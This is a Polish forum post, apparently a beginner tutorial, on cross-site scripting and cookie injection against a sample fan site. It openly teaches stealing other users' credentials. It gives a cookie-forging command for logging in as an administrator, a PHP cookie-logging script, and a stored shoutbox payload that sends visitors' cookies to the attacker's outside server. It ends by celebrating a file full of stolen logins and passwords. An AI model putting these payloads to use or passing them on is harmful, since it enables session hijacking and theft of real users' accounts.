[Tutorial]Cross-Site Scripting

Magnefikko

Były Moderator
Dołączył
Maj 29, 2004
Posty
709
<div align='center'>Cross-Site Scripting (+Cookie Injection)
by Magnefikko</div>

Witam szanowynych zgromadzonych! ;-)
Spojrzałem sobie ostatnio na swój staary tutorial o XSS... słabiutki. Chaotyczny. Początkującemu może być ciężko "załapać bazę". Postanowiłem więc napisać remake :)
Do roboty więc!

Co to jest XSS?
XSS to skrót od "Cross-Site Scripting". Jest to metoda ataku na skrypt polegająca na wprowadzeniu własnego kodu HTML w kod strony. Praktycznie rzecz biorąc jest to najczęściej stosowany, najpopularniejszy atak - a to dla tego, że masa stron jest na nie podatna. Zmiennych bywa wiele, a o którejś zazwyczaj webmaster zapomni i nie wprowadzi filtrowania.

Jak znaleść podatność?
Sprawdzaj zmienne które możesz zmienić a które wyświetlane są na stronie - czy są filtrowane? Sprawdź czy przejdzie jakiś znacznik HTML. Szukaj, szukaj, szukaj, szukaj. 80% szans że znajdziesz ;-)

Co mogę zrobić ze stroną podatną na atak typu XSS?
Przede wszystkim sprawdź czy strona zawiera jakieś ciekawe ciastka - PHPSESSID? Ciacha z hasłami? Ciacha z kremem? Staną się Twoim celem. Wystarczy że wrzucisz odpowiedni skrypt albo podeślesz ofierze linka z owym skryptem w pasku adresu ($_GET). Możesz mu też podesłać formularzyk z wypelnionymi już danymi (atak XSS) przesyłany automatycznie na podatną stronę (gdy podatność niestała, tz. gdy nie zapisuje się na stronie, jest w zmiennej typu POST).
Jeżeli nie ma żadnych ciastek do wzięcia, możesz po prostu "przerobić" stronę dla własnej przyjemności :)

Przykład ataku
Część dla newbie którzy nie znają JS czy PHP.
Zakładamy że trafiliśmy na stronę
Kod:
http://www.teletubisie.pl
Rejestrujemy się, pełni uwielbienia dla ukochanej bajki i logujemy się. Zaglądamy do ciastek (for newbie's add: możesz to zrobić np. wpisując w pasku adresu java script: alert(document.cookie);).
Widzimy dwa ciekawe ciacha:
Kod:
Login = Magnefikko
Password = ihateyoufuckingredboll
Jest to oczywiście mój login i hasło. Pierwsze co próbuję zrobić to zmiana ciacha Login.
Kod:
java script: alert(document.cookie = "Login=Administrator");
I odświeżam sobie stronę. Zakładam że tutaj zostałem wylogowany, ale warto żebyście, drodzy newbies, znali tego typu atak (Cookie Injection), bo - wbrew pozorom - błąd pozwalający nam się zalogować w ten sposób na dowolne konto jest zaskakująco cholernie często popełniany.
Dobra, zalogowałem się ponownie, ciacha jak powinny być tak są na miejscu.
Przeglądamy stronę. Po pięciu godzinach szukania najmniejszych szczegółów, skanowania portów, skanowania katalogów metodą prute force, sprawdzania podatności na SQLI, analizowania kodu binarnego obsranego kota zauważamy na stronie głównej wielką ramkę z napisem "ShoutBox". Z minami jaskiniowców którzy pierwszy raz widzą ogień wpisujemy sobie tam coś, i odkrywamy w wielkim zdumieniu że to coś pojawia się na stronie ;-)
Sprawdzamy podatność...
Kod:
[u]Cześć, jestem Magnefikko i nie lubię koloru tęczowego.[/u]
I prosze, nasz tekst jest pięknie podkreślony.
Czas pomyśleć jakby tu zakosić użytkownikom ich ciastka.
Weźmy sobie jakiś serwer z PHP i napiszmy taki skrypt:
Kod:
<?php
$Plik = fopen("ciacha.txt", "a");
$A = $_GET['c'];
fputs($Plik, $A."\n");
fclose($Plik);
header("Location: http://www.teletubisie.pl/loguj.php");
?>
Wrzucamy plik na serwer nadając mu nazwę np. aaa.php
Adres pliku:
Kod:
http://www.naszastrona.yoyo.pl/aaa.php
Teraz wrzucamy do shouta taki kod:
Kod:
<script language = "JavaScript">
document.location = '[url]http://www.naszastrona.yoyo.pl/aaa.php?c='+document.cookie';[/url]
</script>
Wysyłamy wiadomość. Na następny dzień mamy plik pełen loginów i haseł :)

Jakość wciąż kiepska ale cóż - bardziej newbie friendly.
Miłej zabawy.
 
Do góry Bottom